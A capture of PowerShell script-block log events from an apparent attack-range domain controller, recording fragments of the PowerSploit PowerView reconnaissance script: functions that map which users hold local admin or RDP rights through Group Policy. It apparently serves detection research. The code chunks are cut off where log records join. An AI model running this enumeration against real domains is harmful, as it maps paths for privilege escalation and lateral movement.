$GPOname $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOGuid' $GPOGuid $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOPath' $GPOPath $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOType' $GPOType $GPOLocalGroupMapping | Add-Member Noteproperty 'ContainerName' $_.distinguishedname $GPOLocalGroupMapping | Add-Member Noteproperty 'ComputerName' $_.siteobjectbl $GPOLocalGroupMapping.PSObject.TypeNames.Add('PowerView.GPOLocalGroupMapping') $GPOLocalGroupMapping } } } } } function Get-DomainGPOComputerLocalGroupMapping { <# .SYNOPSIS Takes a computer (or GPO) object and determines what users/groups are in the specified local group for the machine through GPO correlation. Author: @harmj0y License: BSD 3-Clause Required Dependencies: Get-DomainComputer, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainGPOLocalGroup .DESCRIPTION This function is the inverse of Get-DomainGPOUserLocalGroupMapping, and finds what users/groups are in the specified local group for a target machine through GPO correlation. If a -ComputerIdentity is specified, retrieve the complete computer object, attempt to determine the OU the computer is a part of. Then resolve the computer's site name with Get-NetComputerSiteName and retrieve all sites object Get-DomainSite. For those results, attempt to enumerate all linked GPOs and associated local group settings with Get-DomainGPOLocalGroup. For each resulting GPO group, resolve the resulting user/group name to a full AD object and return the results. This will return the domain objects that are members of the specified -LocalGroup for the given computer. Otherwise, if -OUIdentity is supplied, the same process is executed to find linked GPOs and localgroup specifications. .PARAMETER ComputerIdentity A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994), or a dns host name (e.g. windows10.testlab.local) for the computer to identity GPO local group mappings for. .PARAMETER OUIdentity An OU name (e.g. TestOU), DistinguishedName (e.g. OU=TestOU,DC=testlab,DC=local), or GUID (e.g. 8a9ba22a-8977-47e6-84ce-8c26af4e1e6a) for the OU to identity GPO local group mappings for. .PARAMETER LocalGroup The local group to check access against. Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555), or a custom local SID. Defaults to local 'Administrators'. .PARAMETER Domain Specifies the domain to enumerate GPOs for, defaults to the current domain. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainGPOComputerLocalGroupMapping -ComputerName WINDOWS3.testlab.local Finds users who have local admin rights over WINDOWS3 through GPO correlation. .EXAMPLE Get-DomainGPOComputerLocalGroupMapping -Domain dev.testlab.local -ComputerName WINDOWS4.dev.testlab.local -LocalGroup RDP Finds users who have RDP rights over WINDOWS4 through GPO correlation. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainGPOComputerLocalGroupMapping -Credential $Cred -ComputerIdentity SQL.testlab.local .OUTPUTS PowerView.GGPOComputerLocalGroupMember #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.GGPOComputerLocalGroupMember')] [CmdletBinding(DefaultParameterSetName = 'ComputerIdentity')] Param( [Parameter(Position = 0, ParameterSetName = 'ComputerIdentity', Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('ComputerName', 'Computer', 'DistinguishedName', 'SamAccountName', 'Name')] [String] $ComputerIdentity, [Parameter(Mandatory = $True, ParameterSetName = 'OUIdentity')] [Alias('OU')] [String] $OUIdentity, [String] [ValidateSet('Administrators', 'S-1-5-32-544', 'RDP', 'Remote Desktop Users', 'S-1-5-32-555')] $LocalGroup = 'Administrators', [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $CommonArguments = @{} if ($PSBoundParameters['Domain']) { $CommonArguments['Domain'] = $Domain } if ($PSBoundParameters['Server']) { $CommonArguments['Server'] = $Server } if ($P38b68196-2238-4551-8b75-48ec50160e82C:\tools\PowerSploit\Recon\PowerView.ps1 4104132150x0715330Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local3555t groups for the GPO with the given name/GUID. .EXAMPLE Get-DomainGPOLocalGroup 'Desktops' Return any GPO-set groups for the GPO with the given display name. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainGPOLocalGroup -Credential $Cred .LINK https://morgansimonsenblog.azurewebsites.net/tag/groups/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.GPOGroup')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name')] [String[]] $Identity, [Switch] $ResolveMembersToSIDs, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $SearcherArguments = @{} if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $Domain } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $ConvertArguments = @{} if ($PSBoundParameters['Domain']) { $ConvertArguments['Domain'] = $Domain } if ($PSBoundParameters['Server']) { $ConvertArguments['Server'] = $Server } if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential } $SplitOption = [System.StringSplitOptions]::RemoveEmptyEntries } PROCESS { if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity } Get-DomainGPO @SearcherArguments | ForEach-Object { $GPOdisplayName = $_.displayname $GPOname = $_.name $GPOPath = $_.gpcfilesyspath $ParseArgs = @{ 'GptTmplPath' = "$GPOPath\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" } if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] = $Credential } # first parse the 'Restricted Groups' file (GptTmpl.inf) if it exists $Inf = Get-GptTmpl @ParseArgs if ($Inf -and ($Inf.psbase.Keys -contains 'Group Membership')) { $Memberships = @{} # parse the members/memberof fields for each entry ForEach ($Membership in $Inf.'Group Membership'.GetEnumerator()) { $Group, $Relation = $Membership.Key.Split('__', $SplitOption) | ForEach-Object {$_.Trim()} # extract out ALL members $MembershipValue = $Membership.Value | Where-Object {$_} | ForEach-Object { $_.Trim('*') } | Where-Object {$_} if ($PSBoundParameters['ResolveMembersToSIDs']) { # if the resulting member is username and not a SID, attempt to resolve it $GroupMembers = @() ForEach ($Member in $MembershipValue) { if ($Member -and ($Member.Trim() -ne '')) { if ($Member -notmatch '^S-1-.*') { $ConvertToArguments = @{'ObjectName' = $Member} if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain } $MemberSID = ConvertTo-SID @ConvertToArguments if ($MemberSID) { $GroupMembers += $MemberSID } else { $GroupMembers += $Member } } else { $GroupMembers += $Member } } } $MembershipValue = $GroupMembers } if (-not $Memberships[$Group]) { $Memberships[$Group] = @{} } if ($MembershipValue -isnot [System.Array]) {$MembershipValue = @($MembershipValue)} $Memberships[$Group].Add($Relation, $MembershipValue) } ForEach ($Membership in $Memberships.GetEnumerator()) { if ($Membership -and $Membership.Key -and ($Membership.Key -match '^\*')) { # if the SID is already resolved (i.e. begins with *) try to resolve SID to a name $GroupSID = $Membership.Key.Trim('*') if ($GroupSID -and ($GroupSID.Trim() -ne '')) { $GroupName = ConvertFrom-SID -ObjectSID $GroupSID @ConvertArguments } else { $GroupName = $False } } else { $GroupName = $Membership.Key if ($GroupName -and ($GroupName.Trim() -ne '')) { if ($Groupname -match 'Administrators') { $GroupSID = 'S-1-5-32-544' } elseif ($Groupname -match 'Remote Desktop') { $GroupSID = 'S-1-5-32-555' } elseif ($Groupname -match 'Guests') { $GroupSID = 'S-1-5-32-546' } elseif ($GroupName.Trim() -ne '') { $ConvertToArguments = @{'ObjectName' = $Groupname} if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain } $GroupSID = ConvertTo-SID @ConvertToArguments } else { $GroupSID = $Null } } } $GPOGroup = New-Object PSObject $GPOGroup | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName $GPOGroup | Add-Member Noteproperty 'GPOName' $GPOName $GPOGroup | Add-Member Noteproperty 'GPOPath' $GPOPath $GPOGroup | Add-Member Noteproperty 'GPOType' 'RestrictedGroups' $GPOGroup | Add-Member Noteproperty 'Filters' $Null $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Membership.Value.Memberof $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Membership.Value.Members $GPOGroup.PSObject.TypeNames.Insert(0, 'PowerView.GPOGroup') $GPOGroup } } # now try to the parse group policy preferences file (Groups.xml) if it exists $ParseArgs = @{ 'GroupsXMLpath' = "$GPOPath\MACHINE\Preferences\Groups\Groups.xml" } Get-GroupsXML @ParseArgs | ForEach-Object { if ($PSBoundParameters['ResolveMembersToSIDs']) { $GroupMembers = @() ForEach ($Member in $_.GroupMembers) { if ($Member -and ($Member.Trim() -ne '')) { if ($Member -notmatch '^S-1-.*') { # if the resulting member is username and not a SID, attempt to resolve it $ConvertToArguments = @{'ObjectName' = $Groupname} if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain } $MemberSID = ConvertTo-SID -Domain $Domain -ObjectName $Member if ($MemberSID) { $GroupMembers += $MemberSID } else { $GroupMembers += $Member } } else { $GroupMembers += $Member } } } $_.GroupMembers = $GroupMembers } $_ | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName $_ | Add-Member Noteproperty 'GPOName' $GPOName $_ | Add-Member Noteproperty 'GPOType' 'GroupPolicyPreferences' $_.PSObject.TypeNames.Insert(0, 'PowerView.GPOGroup') $_ } } } } function Get-DomainGPOUserLocalGroupMapping { <# .SYNOPSIS Enumerates the machines where a specific domain user/group is a member of a specific local group, all through GPO correlation. If no user/group is specified, all discoverable mappings are returned. Author: @harmj0y License: BSD 3-Clause Required Dependencies: Get-DomainGPOLocalGroup, Get-DomainObject, Get-DomainComputer, Get-DomainOU, Get-DomainSite, Get-DomainGroup .DESCRIPTION Takes a user/group name and optional domain, and determines the computers in the domain the user/group has local admin (or RDP) rights to. It does this by: 1. resolving the user/group to its proper SID 2. enumerating all groups the user/group is a current part of and extracting all target SIDs to build a target SID list 3. pulling all GPOs that set 'Restricted Groups' or Groups.xml by calling Get-DomainGPOLocalGroup 4. matching the target SID list to the queried GPO SID list to enumerate all GPO the user is effectively applied with 5. enumerating all OUs and sites and applicable GPO GUIs are applied to through gplink enumerating 6. querying for all computers under the given OUs or sites If no user/group is specified, all user/group -> machine mappings discovered through GPO relationships are returned. .PARAMETER Identity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) for the user/group to identity GPO local group mappings for. .PARAMETER LocalGroup The local group to check access against. Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555), or a custom local SID. Defaults to local 'Administrators'. .PARAMETER Domain Specifies the domain to enumerate GPOs for, defaults to the current domain. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainGPOUserLocalGroupMapping Find all user/group -> machine relationships where the user/group is a member of the local administrators group on target machines. .EXAMPLE Get-DomainGPOUserLocalGroupMapping -Identity dfm -Domain dev.testlab.local Find all computers that dfm user has local administrator rights to in the dev.testlab.local domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainGPOUserLocalGroupMapping -Credential $Cred .OUTPUTS PowerView.GPOLocalGroupMapping A custom PSObject containing any target identity information and what local group memberships they're a part of through GPO correlation. .LINK http://www.harmj0y.net/blog/redteaming/where-my-admins-at-gpo-edition/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.GPOUserLocalGroupMapping')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name')] [String] $Identity, [String] [V38b68196-2238-4551-8b75-48ec50160e82C:\tools\PowerSploit\Recon\PowerView.ps1 4104132150x0715329Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local3455 if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $GPOSearcher = Get-DomainSearcher @SearcherArguments } PROCESS { if ($GPOSearcher) { if ($PSBoundParameters['ComputerIdentity'] -or $PSBoundParameters['UserIdentity']) { $GPOAdsPaths = @() if ($SearcherArguments['Properties']) { $OldProperties = $SearcherArguments['Properties'] } $SearcherArguments['Properties'] = 'distinguishedname,dnshostname' $TargetComputerName = $Null if ($PSBoundParameters['ComputerIdentity']) { $SearcherArguments['Identity'] = $ComputerIdentity $Computer = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1 if(-not $Computer) { Write-Verbose "[Get-DomainGPO] Computer '$ComputerIdentity' not found!" } $ObjectDN = $Computer.distinguishedname $TargetComputerName = $Computer.dnshostname } else { $SearcherArguments['Identity'] = $UserIdentity $User = Get-DomainUser @SearcherArguments -FindOne | Select-Object -First 1 if(-not $User) { Write-Verbose "[Get-DomainGPO] User '$UserIdentity' not found!" } $ObjectDN = $User.distinguishedname } # extract all OUs the target user/computer is a part of $ObjectOUs = @() $ObjectOUs += $ObjectDN.split(',') | ForEach-Object { if($_.startswith('OU=')) { $ObjectDN.SubString($ObjectDN.IndexOf("$($_),")) } } Write-Verbose "[Get-DomainGPO] object OUs: $ObjectOUs" if ($ObjectOUs) { # find all the GPOs linked to the user/computer's OUs $SearcherArguments.Remove('Properties') $InheritanceDisabled = $False ForEach($ObjectOU in $ObjectOUs) { $SearcherArguments['Identity'] = $ObjectOU $GPOAdsPaths += Get-DomainOU @SearcherArguments | ForEach-Object { # extract any GPO links for this particular OU the computer is a part of if ($_.gplink) { $_.gplink.split('][') | ForEach-Object { if ($_.startswith('LDAP')) { $Parts = $_.split(';') $GpoDN = $Parts[0] $Enforced = $Parts[1] if ($InheritanceDisabled) { # if inheritance has already been disabled and this GPO is set as "enforced" # then add it, otherwise ignore it if ($Enforced -eq 2) { $GpoDN } } else { # inheritance not marked as disabled yet $GpoDN } } } } # if this OU has GPO inheritence disabled, break so additional OUs aren't processed if ($_.gpoptions -eq 1) { $InheritanceDisabled = $True } } } } if ($TargetComputerName) { # find all the GPOs linked to the computer's site $ComputerSite = (Get-NetComputerSiteName -ComputerName $TargetComputerName).SiteName if($ComputerSite -and ($ComputerSite -notlike 'Error*')) { $SearcherArguments['Identity'] = $ComputerSite $GPOAdsPaths += Get-DomainSite @SearcherArguments | ForEach-Object { if($_.gplink) { # extract any GPO links for this particular site the computer is a part of $_.gplink.split('][') | ForEach-Object { if ($_.startswith('LDAP')) { $_.split(';')[0] } } } } } } # find any GPOs linked to the user/computer's domain $ObjectDomainDN = $ObjectDN.SubString($ObjectDN.IndexOf('DC=')) $SearcherArguments.Remove('Identity') $SearcherArguments.Remove('Properties') $SearcherArguments['LDAPFilter'] = "(objectclass=domain)(distinguishedname=$ObjectDomainDN)" $GPOAdsPaths += Get-DomainObject @SearcherArguments | ForEach-Object { if($_.gplink) { # extract any GPO links for this particular domain the computer is a part of $_.gplink.split('][') | ForEach-Object { if ($_.startswith('LDAP')) { $_.split(';')[0] } } } } Write-Verbose "[Get-DomainGPO] GPOAdsPaths: $GPOAdsPaths" # restore the old properites to return, if set if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties } else { $SearcherArguments.Remove('Properties') } $SearcherArguments.Remove('Identity') $GPOAdsPaths | Where-Object {$_ -and ($_ -ne '')} | ForEach-Object { # use the gplink as an ADS path to enumerate all GPOs for the computer $SearcherArguments['SearchBase'] = $_ $SearcherArguments['LDAPFilter'] = "(objectCategory=groupPolicyContainer)" Get-DomainObject @SearcherArguments | ForEach-Object { if ($PSBoundParameters['Raw']) { $_.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw') } else { $_.PSObject.TypeNames.Insert(0, 'PowerView.GPO') } $_ } } } else { $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match 'LDAP://|^CN=.*') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname # and rebuild the domain searcher $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' Write-Verbose "[Get-DomainGPO] Extracted domain '$IdentityDomain' from '$IdentityInstance'" $SearcherArguments['Domain'] = $IdentityDomain $GPOSearcher = Get-DomainSearcher @SearcherArguments if (-not $GPOSearcher) { Write-Warning "[Get-DomainGPO] Unable to retrieve domain searcher for '$IdentityDomain'" } } } elseif ($IdentityInstance -match '{.*}') { $IdentityFilter += "(name=$IdentityInstance)" } else { try { $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' $IdentityFilter += "(objectguid=$GuidByteString)" } catch { $IdentityFilter += "(displayname=$IdentityInstance)" } } } if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { $Filter += "(|$IdentityFilter)" } if ($PSBoundParameters['LDAPFilter']) { Write-Verbose "[Get-DomainGPO] Using additional LDAP filter: $LDAPFilter" $Filter += "$LDAPFilter" } $GPOSearcher.filter = "(&(objectCategory=groupPolicyContainer)$Filter)" Write-Verbose "[Get-DomainGPO] filter string: $($GPOSearcher.filter)" if ($PSBoundParameters['FindOne']) { $Results = $GPOSearcher.FindOne() } else { $Results = $GPOSearcher.FindAll() } $Results | Where-Object {$_} | ForEach-Object { if ($PSBoundParameters['Raw']) { # return raw result objects $GPO = $_ $GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw') } else { if ($PSBoundParameters['SearchBase'] -and ($SearchBase -Match '^GC://')) { $GPO = Convert-LDAPProperty -Properties $_.Properties try { $GPODN = $GPO.distinguishedname $GPODomain = $GPODN.SubString($GPODN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' $gpcfilesyspath = "\\$GPODomain\SysVol\$GPODomain\Policies\$($GPO.cn)" $GPO | Add-Member Noteproperty 'gpcfilesyspath' $gpcfilesyspath } catch { Write-Verbose "[Get-DomainGPO] Error calculating gpcfilesyspath for: $($GPO.distinguishedname)" } } else { $GPO = Convert-LDAPProperty -Properties $_.Properties } $GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO') } $GPO } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainGPO] Error disposing of the Results object: $_" } } $GPOSearcher.dispose() } } } } function Get-DomainGPOLocalGroup { <# .SYNOPSIS Returns all GPOs in a domain that modify local group memberships through 'Restricted Groups' or Group Policy preferences. Also return their user membership mappings, if they exist. Author: @harmj0y License: BSD 3-Clause Required Dependencies: Get-DomainGPO, Get-GptTmpl, Get-GroupsXML, ConvertTo-SID, ConvertFrom-SID .DESCRIPTION First enumerates all GPOs in the current/target domain using Get-DomainGPO with passed arguments, and for each GPO checks if 'Restricted Groups' are set with GptTmpl.inf or group membership is set through Group Policy Preferences groups.xml files. For any GptTmpl.inf files found, the file is parsed with Get-GptTmpl and any 'Group Membership' section data is processed if present. Any found Groups.xml files are parsed with Get-GroupsXML and those memberships are returned as well. .PARAMETER Identity A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'), GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). Wildcards accepted. .PARAMETER ResolveMembersToSIDs Switch. Indicates that any member names should be resolved to their domain SIDs. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainGPOLocalGroup Returns all local groups set by GPO along with their members and memberof. .EXAMPLE Get-DomainGPOLocalGroup -ResolveMembersToSIDs Returns all local groups set by GPO along with their members and memberof, and resolve any members to their domain SIDs. .EXAMPLE '{0847C615-6C4E-4D45-A064-6001040CC21C}' | Get-DomainGPOLocalGroup Return any GPO-se38b68196-2238-4551-8b75-48ec50160e82C:\tools\PowerSploit\Recon\PowerView.ps1 4104132150x0715328Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local3355\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" Parse the default domain policy .inf for dev.testlab.local .EXAMPLE Get-DomainGPO testing | Get-GptTmpl Parse the GptTmpl.inf policy for the GPO with display name of 'testing'. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-GptTmpl -Credential $Cred -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" Parse the default domain policy .inf for dev.testlab.local using alternate credentials. .OUTPUTS Hashtable Ouputs a hashtable representing the parsed GptTmpl.inf file. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType([Hashtable])] [CmdletBinding()] Param ( [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('gpcfilesyspath', 'Path')] [String] $GptTmplPath, [Switch] $OutputObject, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $MappedPaths = @{} } PROCESS { try { if (($GptTmplPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { $SysVolPath = "\\$((New-Object System.Uri($GptTmplPath)).Host)\SYSVOL" if (-not $MappedPaths[$SysVolPath]) { # map IPC$ to this computer if it's not already Add-RemoteConnection -Path $SysVolPath -Credential $Credential $MappedPaths[$SysVolPath] = $True } } $TargetGptTmplPath = $GptTmplPath if (-not $TargetGptTmplPath.EndsWith('.inf')) { $TargetGptTmplPath += '\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf' } Write-Verbose "[Get-GptTmpl] Parsing GptTmplPath: $TargetGptTmplPath" if ($PSBoundParameters['OutputObject']) { $Contents = Get-IniContent -Path $TargetGptTmplPath -OutputObject -ErrorAction Stop if ($Contents) { $Contents | Add-Member Noteproperty 'Path' $TargetGptTmplPath $Contents } } else { $Contents = Get-IniContent -Path $TargetGptTmplPath -ErrorAction Stop if ($Contents) { $Contents['Path'] = $TargetGptTmplPath $Contents } } } catch { Write-Verbose "[Get-GptTmpl] Error parsing $TargetGptTmplPath : $_" } } END { # remove the SYSVOL mappings $MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ } } } function Get-GroupsXML { <# .SYNOPSIS Helper to parse a groups.xml file path into a custom object. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertTo-SID .DESCRIPTION Parses a groups.xml into a custom object. If -Credential is passed, Add-RemoteConnection is used to mount \\TARGET\SYSVOL with the specified creds, the files are parsed, and the connection is destroyed later with Remove-RemoteConnection. .PARAMETER GroupsXMLpath Specifies the groups.xml file path name to parse. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the remote system. .OUTPUTS PowerView.GroupsXML #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.GroupsXML')] [CmdletBinding()] Param ( [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('Path')] [String] $GroupsXMLPath, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $MappedPaths = @{} } PROCESS { try { if (($GroupsXMLPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { $SysVolPath = "\\$((New-Object System.Uri($GroupsXMLPath)).Host)\SYSVOL" if (-not $MappedPaths[$SysVolPath]) { # map IPC$ to this computer if it's not already Add-RemoteConnection -Path $SysVolPath -Credential $Credential $MappedPaths[$SysVolPath] = $True } } [XML]$GroupsXMLcontent = Get-Content -Path $GroupsXMLPath -ErrorAction Stop # process all group properties in the XML $GroupsXMLcontent | Select-Xml "/Groups/Group" | Select-Object -ExpandProperty node | ForEach-Object { $Groupname = $_.Properties.groupName # extract the localgroup sid for memberof $GroupSID = $_.Properties.groupSid if (-not $GroupSID) { if ($Groupname -match 'Administrators') { $GroupSID = 'S-1-5-32-544' } elseif ($Groupname -match 'Remote Desktop') { $GroupSID = 'S-1-5-32-555' } elseif ($Groupname -match 'Guests') { $GroupSID = 'S-1-5-32-546' } else { if ($PSBoundParameters['Credential']) { $GroupSID = ConvertTo-SID -ObjectName $Groupname -Credential $Credential } else { $GroupSID = ConvertTo-SID -ObjectName $Groupname } } } # extract out members added to this group $Members = $_.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object { if ($_.sid) { $_.sid } else { $_.name } } if ($Members) { # extract out any/all filters...I hate you GPP if ($_.filters) { $Filters = $_.filters.GetEnumerator() | ForEach-Object { New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name} } } else { $Filters = $Null } if ($Members -isnot [System.Array]) { $Members = @($Members) } $GroupsXML = New-Object PSObject $GroupsXML | Add-Member Noteproperty 'GPOPath' $TargetGroupsXMLPath $GroupsXML | Add-Member Noteproperty 'Filters' $Filters $GroupsXML | Add-Member Noteproperty 'GroupName' $GroupName $GroupsXML | Add-Member Noteproperty 'GroupSID' $GroupSID $GroupsXML | Add-Member Noteproperty 